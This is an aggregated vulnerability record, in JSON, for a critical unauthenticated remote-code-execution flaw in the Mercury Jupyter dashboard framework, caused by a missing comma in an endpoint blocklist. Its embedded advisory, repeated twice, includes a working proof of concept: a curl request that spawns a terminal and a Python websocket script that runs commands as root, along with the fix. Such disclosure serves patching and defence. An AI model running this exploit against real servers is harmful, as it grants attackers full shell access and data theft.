{"id":"CVE-2026-111057","aliases":["EUVD-2026-104419","GHSA-f8c7-rwf9-fmgm"],"status":"published","title":"Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass","description":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.","severity":{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00698,"percentile":0.53588,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-185","CWE-284"],"published":"2026-10-19T16:04:07Z","modified":"2026-10-30T02:31:05Z","fixes":[{"ecosystem":"PyPI","package":"mercury","fixed_in":["3.2.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mercury","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"3.2.3"},{"fixed":"3.2.4"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mercury","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.2.4"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.4","3.1.5","3.2.0","3.2.1","3.2.2","3.2.3"]}],"products":[{"vendor":"mljar","product":"mercury"}],"references":[{"url":"https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/mljar/mercury/commit/8c467129037ee9df269d543ac217ffd33b97bf3f","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/mljar/mercury/releases/tag/v3.2.4","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-f8c7-rwf9-fmgm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/111xxx/CVE-2026-111057.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111057","tags":["advisory"]},{"url":"https://github.com/mljar/mercury","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-111057","title":"Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass","description":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.","status":"published","published":"2026-10-19T16:04:07.065Z","modified":"2026-10-28T15:31:24.524Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-185","CWE-284"],"updated_at":"2026-11-02T14:20:15.34316Z"}],"euvd":[{"id":"EUVD-2026-104419","description":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.","status":"published","published":"2026-10-19T16:04:07Z","modified":"2026-10-28T15:31:24Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:59:20.750321Z"}],"ghsa":[{"id":"GHSA-f8c7-rwf9-fmgm","title":"Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass","description":"### Summary\nA missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.\n\n### Details\nThe blocklist in `mercury_app/block_handler.py` is defined as:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\"\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```\nThe missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:\n\n/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)\n/api/shutdown(?:/.`*`)?\n/files(?:/.`*`)?\n\nA direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter\nServer's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.\n\n### PoC\nTesting was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default\nconfiguration.\n \n**Step 1 - spawn a terminal:**\n\n\n```\ncurl -i -X POST http://localhost:8888/api/terminals\n```\nResponse: `{\"name\": \"1\", \"last_activity\": \"...\"}`\n\n**Step 2 - connect to the terminal and execute commands:**\n\n\n```\npython3 -c \"\nimport websocket, json, time\n\nws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')\nprint(ws.recv())\n\nws.send(json.dumps(['stdin', 'whoami \u0026\u0026 id\\n']))\ntime.sleep(1)\n\nws.settimeout(2)\ntry:\n    while True:\n        print(ws.recv())\nexcept Exception:\n    pass\n\"\n```\n\n\nObserved output:\n\n```\n[\"setup\", {}]\n[\"stdout\", \"# \"]\n[\"stdout\", \"whoami \u0026\u0026 id\\r\\n\"]\n[\"stdout\", \"root\\r\\n\"]\n[\"stdout\", \"uid=0(root) gid=0(root) groups=0(root)\\r\\n# \"]\n```\n\n\nConfirms full, interactive root shell access with no authentication or prior access of any kind.\n\n\n### Impact\n- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).\n- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.\n- **Availability:** attacker can shut down or crash the server/container.\n- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network.\n\nExploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).\n\n### Fix\nAdd the missing comma so `/api/terminals` becomes an independent blocklist rule:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\",\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```","status":"published","published":"2026-10-19T17:00:54Z","modified":"2026-10-19T17:00:55Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-185","CWE-284"],"updated_at":"2026-11-02T14:41:32.483482Z"}],"nvd":[{"id":"CVE-2026-111057","description":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.","status":"published","published":"2026-10-19T16:17:03.81Z","modified":"2026-10-28T16:17:00.94Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-185","CWE-284"],"updated_at":"2026-11-02T14:13:00.83844Z"}],"osv":[{"id":"CVE-2026-111057","title":"Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass","description":"Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. From 3.0.0 until 3.2.4, a missing comma in BLOCKED_PATTERNS concatenates the /lab and /api/terminals regular-expression literals. Requests to /api/terminals therefore bypass the anonymous endpoint blocklist and reach Jupyter Server's terminal API. An unauthenticated attacker can use the resulting interactive operating-system shell to execute commands and access data available to the Mercury process. This issue is fixed in version 3.2.4.","status":"published","published":"2026-10-19T16:04:07.065Z","modified":"2026-10-30T02:31:05.894217904Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-185","CWE-284"],"updated_at":"2026-11-02T15:44:55.61515Z"},{"id":"GHSA-f8c7-rwf9-fmgm","title":"Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass","description":"### Summary\nA missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.\n\n### Details\nThe blocklist in `mercury_app/block_handler.py` is defined as:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\"\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```\nThe missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:\n\n/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (the first two lines joined together)\n/api/shutdown(?:/.`*`)?\n/files(?:/.`*`)?\n\nA direct request to `/api/terminals` does not match any of the 3 blocklist rules and is therefore **not blocked**, reaching Jupyter\nServer's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.\n\n### PoC\nTesting was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default\nconfiguration.\n \n**Step 1 - spawn a terminal:**\n\n\n```\ncurl -i -X POST http://localhost:8888/api/terminals\n```\nResponse: `{\"name\": \"1\", \"last_activity\": \"...\"}`\n\n**Step 2 - connect to the terminal and execute commands:**\n\n\n```\npython3 -c \"\nimport websocket, json, time\n\nws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')\nprint(ws.recv())\n\nws.send(json.dumps(['stdin', 'whoami \u0026\u0026 id\\n']))\ntime.sleep(1)\n\nws.settimeout(2)\ntry:\n    while True:\n        print(ws.recv())\nexcept Exception:\n    pass\n\"\n```\n\n\nObserved output:\n\n```\n[\"setup\", {}]\n[\"stdout\", \"# \"]\n[\"stdout\", \"whoami \u0026\u0026 id\\r\\n\"]\n[\"stdout\", \"root\\r\\n\"]\n[\"stdout\", \"uid=0(root) gid=0(root) groups=0(root)\\r\\n# \"]\n```\n\n\nConfirms full, interactive root shell access with no authentication or prior access of any kind.\n\n\n### Impact\n- **Confidentiality:** full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).\n- **Integrity:** attacker can modify or delete any file, including notebooks served to other users.\n- **Availability:** attacker can shut down or crash the server/container.\n- **Lateral movement:** the shell can be used as a foothold to attack other systems reachable from the host's network.\n\nExploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).\n\n### Fix\nAdd the missing comma so `/api/terminals` becomes an independent blocklist rule:\n```\nBLOCKED_PATTERNS = [\n    # JupyterLab UI + API\n    r\"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?\",\n    r\"/api/terminals(?:/.*)?\",\n    r\"/api/shutdown(?:/.*)?\",\n    r\"/files(?:/.*)?\",\n]\n```","status":"published","published":"2026-10-19T17:00:54Z","modified":"2026-10-19T17:15:04.10517554Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-185","CWE-284"],"updated_at":"2026-11-02T15:46:46.006631Z"}]}}